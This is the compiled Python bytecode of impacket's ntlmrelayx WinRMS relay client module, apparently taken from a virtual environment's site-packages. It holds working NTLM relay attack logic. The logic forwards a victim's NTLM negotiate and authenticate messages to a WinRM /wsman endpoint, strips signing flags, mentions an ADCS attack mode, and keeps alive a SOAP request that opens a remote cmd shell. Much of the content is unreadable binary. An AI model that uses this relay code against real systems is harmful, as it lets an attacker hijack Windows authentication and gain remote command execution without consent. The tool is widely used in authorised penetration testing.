o
    j!                     @   s   d dl Z d dlZd dlZzd dlmZ W n ey#   d dlmZ Y nw d dlmZ d dl	m
Z
 d dlmZ d dlmZmZ d dlmZmZmZmZmZ d dlmZ d	gZG d
d	 d	eZdS )    N)HTTPSConnection)unpack)LOG)ProtocolClient)STATUS_SUCCESSSTATUS_ACCESS_DENIED)NTLMAuthChallengeNTLMAuthNegotiateNTLMAuthChallengeResponseNTLMSSP_NEGOTIATE_SIGNNTLMSSP_NEGOTIATE_ALWAYS_SIGN)SPNEGO_NegTokenRespWinRMSRelayClientc                   @   sL   e Zd ZdZdddZdd Zdd	 ZdddZdd Zdd Z	dd Z
d
S )r   WINRMSb  Tc                 C   s@   t | |||| || _d | _d | _d | _d | _d| _d| _d S )NTz<xml></xml>)	r   __init__extendedSecuritynegotiateMessageauthenticateMessageBlobserverauthenticationMethod
isFirstNegbasic_xml_data)selfserverConfigtarget
targetPortr    r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/clients/winrmrelayclient.pyr      s   
zWinRMSRelayClient.__init__c                 C   sp   d | _ | jjdkrd| _n| jj| _zttj}t| j| j|d| _	W dS  t
y7   t| j| j| _	Y dS w )N z/wsman)contextT)
lastresultr   pathssl
SSLContextPROTOCOL_SSLv23r   
targetHostr   sessionAttributeError)r   
uv_contextr   r   r   initConnection    s   
z WinRMSRelayClient.initConnectionc              
   C   sl  t  }|| | jjr(|d t@ r|d  tN  < |d t@ r(|d  tN  < | | _|d t@ r8t	d t
| jdd}z| jjd| j|| jd | j }|  W n! tyx } ztd| j| jt|f  W Y d }~dS d }~ww |jd	krtd
|j d z)|d}d|vrd|vrtd|  W dS d|v rd| _nd|v rd| _W n$ ttfy   td| j  | jjrtd d| _nY dS Y nw t|d}| j d| dt
| jd}| jjd| j|| jd | j }|  z t !| j d|d"d}t#|}	t$ }
|
|	 |
W S  t%tt&fy5   td Y dS w )Nflagsz@The client requested signing, relaying to WinRMS might not work!"application/soap+xml;charset=UTF-8Content-LengthContent-TypePOSTheadersbodyzConnection to %s:%s failed: %sF  zStatus code returned: z/. Authentication does not seem required for URLzWWW-AuthenticateNTLM	Negotiatez1NTLM Auth not offered by URL, offered protocols: z2No authentication requested by the server for url zMIIS cert server may allow anonymous authentication, sending NTLM auth anywaysascii Authorizationr/   r.   z ([a-zA-Z0-9+/=]+)   z&No NTLM challenge returned from server)'r	   
fromStringr   
remove_micr   r   getDatar   r   warninglenr   r'   requestr"   getresponseread	Exceptionerrorr&   r   strstatusinfo	getheaderr   KeyError	TypeErrorisADCSAttackbase64	b64encodedecoderesearchgroup	b64decoder   
IndexErrorr(   )r   r   negoMessager2   reseauth_header	negotiateserverChallengeBase64serverChallenge	challenger   r   r   sendNegotiate-   sx   







 


zWinRMSRelayClient.sendNegotiateNc           
      C   s  t d|d d d tjkrt|}|d }n|}z%t }|| |d }t|dkr=|dd d	kr=td
t|  W n	 tyG   Y nw t	
|d}| j d| dt| jd}| jjd| j|| jd | j }	|	jdkryd tfS td|	j d |	 | _d tfS )NBr;   r   ResponseTokenntlm0         s     zUNTLMv2 detected (NT response %d bytes). WinRMS relay may fail due to Channel Binding.r7   r8   r,   r9   r0   r1   r4   z HTTP server returned error code z2, this is expected, treating as a successful login)r   r   SPNEGO_NEG_TOKEN_RESPr
   r<   r@   r   debugrD   rM   rN   rO   r   r   r'   rA   r"   rB   rG   r   rH   rC   r!   r   )
r   r   r[   
respToken2tokenauthMsgnt_responseauthr2   rV   r   r   r   sendAutho   s4   




zWinRMSRelayClient.sendAuthc                 C   s"   | j d ur| j   d | _ d S d S N)r'   closer   r   r   r   killConnection   s   


z WinRMSRelayClient.killConnectionc                 C   s   d S rl   r   rn   r   r   r   isAdmin   s   zWinRMSRelayClient.isAdminc                 C   s>   d}t |dd}| jjd| j||d | j }|  d S )Na  
        <?xml version="1.0" encoding="utf-8"?>
        <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope"
                      xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
                      xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
                      xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
                      xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">
          <env:Header>
            <a:To>http://windows-host:5986/wsman</a:To>
            <a:ReplyTo>
              <a:Address mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
            </a:ReplyTo>
            <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>
            <a:Action mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</a:Action>
            <w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>
            <w:OperationTimeout>PT20S</w:OperationTimeout>
            <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize>
            <w:OptionSet>
              <w:Option Name="WINRS_NOPROFILE">FALSE</w:Option>
              <w:Option Name="WINRS_CODEPAGE">437</w:Option>
            </w:OptionSet>
            <w:Locale xml:lang="en-US"/>
            <p:DataLocale xml:lang="en-US"/>
          </env:Header>
          <env:Body>
            <rsp:Shell>
              <rsp:InputStreams>stdin</rsp:InputStreams>
              <rsp:OutputStreams>stdout stderr</rsp:OutputStreams>
            </rsp:Shell>
          </env:Body>
        </env:Envelope>
        r,   r-   r0   r1   )r@   r'   rA   r"   rB   rC   )r   heartbeat_xmlr2   rV   r   r   r   	keepAlive   s   "
zWinRMSRelayClient.keepAlive)r   Trl   )__name__
__module____qualname__PLUGIN_NAMEr   r*   r]   rk   ro   rp   rr   r   r   r   r   r      s    


B#)rP   r#   rM   http.clientr   ImportErrorhttplibstructr   impacketr   $impacket.examples.ntlmrelayx.clientsr   impacket.nt_errorsr   r   impacket.ntlmr   r	   r
   r   r   impacket.spnegor   PROTOCOL_CLIENT_CLASSESr   r   r   r   r   <module>   s     